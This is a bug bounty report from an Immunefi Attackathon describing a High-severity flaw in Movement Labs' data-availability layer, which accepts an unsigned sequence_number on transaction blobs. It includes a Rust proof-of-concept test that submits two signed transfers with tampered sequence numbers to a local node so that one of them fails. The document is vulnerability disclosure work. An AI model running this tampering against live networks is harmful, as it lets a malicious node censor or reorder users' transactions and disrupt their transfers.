41715 [BC-High] manipulating the sequence number of signed transactions to reorder them or prevent their execution
#41715 [BC-High] Manipulating the Sequence Number of signed transactions to reorder them or prevent their execution
Submitted on Mar 17th 2025 at 18:33:00 UTC by @Capybara for Attackathon | Movement Labs
Report ID: #41715
Report Type: Blockchain/DLT
Report severity: High
Target: https://github.com/immunefi-team/attackathon-movement/tree/main/networks/movement/movement-full-node
Impacts:
Causing network processing nodes to process transactions from the mempool beyond set parameters
Description
Vulnerability Details
When the DA layer receives a Transaction
blob there are no checks to validate whether the sequence_number
received in the blob is legit, or an arbitrary value set by a malicious node.
pub struct Transaction {
data: Vec<u8>,
application_priority: u64,
sequence_number: u64, // <<-----
id: Id,
}
This value should be ensured to be the same as the sequence_number
of the transaction signed by the user instead of blindly trusting the node submitting the transaction to set the correct sequence_number
for the transaction.
Tampering the sequence_number to reorder transactions or make others fail their execution
Suppose Bob's account sequence_number
(which is like the nonce
in the EVM) is 0
, and he submits 2 transactions for a block:
[
Bob_Transaction1 {
data: Vec<u8>,
application_priority: 0,
sequence_number: 0,
id: 0xAA,
},
Bob_Transaction2 {
data: Vec<u8>,
application_priority: 0,
sequence_number: 1,
id: 0xBB,
}
]
The .data
for the first transaction has inside of it a sequence_number
of 0, and for the second transaction is 1. This is what is expected:
[
Bob_Transaction1 {
data: {
payload,
chain_id,
expiration_timestamp_secs,
max_gas_amount,
gas_unit_price,
sender,
sequence_number: 0, // <<--
},
application_priority: 0,
sequence_number: 0, // <<--
id: 0xAA,
},
Bob_Transaction2 {
data: {
payload,
chain_id,
expiration_timestamp_secs,
max_gas_amount,
gas_unit_price,
sender,
sequence_number: 1, // <<--
},
application_priority: 0,
sequence_number: 1, // <<--
id: 0xBB,
}
]
When submitting a batch of transaction blobs a node can't manipulate the value inside .data
because it is signed and the DA layer verifies its signature.
But in the DA layer there are no checks on the validity of the received sequence_number
that is outside of the data, therefore, the node can manually set the sequence_number
of Bob_Transaction1 to a very high value:
[
Bob_Transaction1 {
data: {
payload,
chain_id,
expiration_timestamp_secs,
max_gas_amount,
gas_unit_price,
sender,
sequence_number: 0,
},
application_priority: 0,
sequence_number: 9999999, // <<--
id: 0xAA,
},
Bob_Transaction2 {
data: {
payload,
chain_id,
expiration_timestamp_secs,
max_gas_amount,
gas_unit_price,
sender,
sequence_number: 1,
},
application_priority: 0,
sequence_number: 1,
id: 0xBB,
}
]
As a consequence, both transactions will be sequenced to the nodes, then the nodes will try to run Bob_Transaction2 and fail with SEQUENCE_NUMBER_TOO_NEW
, finally, Bob_Transaction1 is executed with success.
Example
Bob sends funds to Alice in a transaction and Bob asks for an NFT from Alice in a different transaction.
Maliciously manipulating transaction sequence_number
in a batch of txs allows for only one of the 2 transactions to succeed.
Impact Details
Causing network processing nodes to process transactions beyond set parameters. Tampering the sequence_number
of signed transactions may prevent others from executing.
Proof of Concept
Proof of Concept
In the proof of concept below Alice creates 2 transactions, and a malicious node manipulates their sequence_number
to force one of them to fail its execution after being sequenced to all nodes by the DA.
Add the proof of concept to ./attackathon-movement/protocol-units/da/movement/protocol/tests/src/test/e2e/raw/sequencer.rs
#[tokio::test]
async fn test_light_node_capy_poc() -> Result<(), anyhow::Error> {
let mut client = LightNodeServiceClient::connect("http://0.0.0.0:30730").await?;
// Create accounts
let alice = LocalAccount::generate(&mut rand::rngs::OsRng);
let bob = LocalAccount::generate(&mut rand::rngs::OsRng);
println!("alice address: {:?}", alice.address());
println!("bob address: {:?}", bob.address());
// Fund account
let faucet_client = FaucetClient::new(Url::parse("http://0.0.0.0:30732").expect("reason"), Url::parse("http://0.0.0.0:30731").expect("reason"));
faucet_client.fund(alice.address(), 1_000_000).await.expect("Failed to fund sender account");
faucet_client.fund(bob.address(), 1_000_000).await.expect("Failed to fund Bob's account");
// Create txs
let amount1: u64 = 100_000;
let amount2: u64 = 10_000;
let coin = TypeTag::from_str("0x1::aptos_coin::AptosCoin").expect("");
let transaction_builder1 = TransactionBuilder::new(
TransactionPayload::EntryFunction(EntryFunction::new(
ModuleId::new(AccountAddress::from_str_strict("0x1")?, Identifier::new("coin")?),
Identifier::new("transfer")?,
vec![coin.clone()],
vec![to_bytes(&bob.address())?, to_bytes(&amount1)?],
)),
SystemTime::now().duration_since(UNIX_EPOCH)?.as_secs() + 200,
ChainId::new(27u8),
)
.sender(alice.address())
.sequence_number(0)
.max_gas_amount(5_000)
.gas_unit_price(100);
let transaction_builder2 = TransactionBuilder::new(
TransactionPayload::EntryFunction(EntryFunction::new(
ModuleId::new(AccountAddress::from_str_strict("0x1")?, Identifier::new("coin")?),
Identifier::new("transfer")?,
vec![coin.clone()],
vec![to_bytes(&bob.address())?, to_bytes(&amount2)?],
)),
SystemTime::now().duration_since(UNIX_EPOCH)?.as_secs() + 200,
ChainId::new(27u8),
)
.sender(alice.address())
.sequence_number(1)
.max_gas_amount(5_000);
// create the blob write
let signed_transaction1 = alice.sign_with_transaction_builder(transaction_builder1);
let signed_transaction2 = alice.sign_with_transaction_builder(transaction_builder2);
let txn_hash1 = signed_transaction1.committed_hash();
let txn_hash2 = signed_transaction2.committed_hash();
let mut transactions = vec![];
let serialized_aptos_transaction1 = bcs::to_bytes(&signed_transaction1)?;
let serialized_aptos_transaction2 = bcs::to_bytes(&signed_transaction2)?;
let mut movement_transaction1 = Transaction::new(
serialized_aptos_transaction1,
0,
2, // tampered sequence_number
);
let mut movement_transaction2 = Transaction::new(
serialized_aptos_transaction2,
0,
1, // tampered sequence_number
);
let serialized_transaction1 = serde_json::to_vec(&movement_transaction1)?;
let serialized_transaction2 = serde_json::to_vec(&movement_transaction2)?;
transactions.push(BlobWrite { data: serialized_transaction1 });
transactions.push(BlobWrite { data: serialized_transaction2 });
let batch_write = BatchWriteRequest { blobs: transactions };
// write the batch to the DA
let batch_write_reponse = client.batch_write(batch_write).await?;
Ok(())
}
Was this helpful?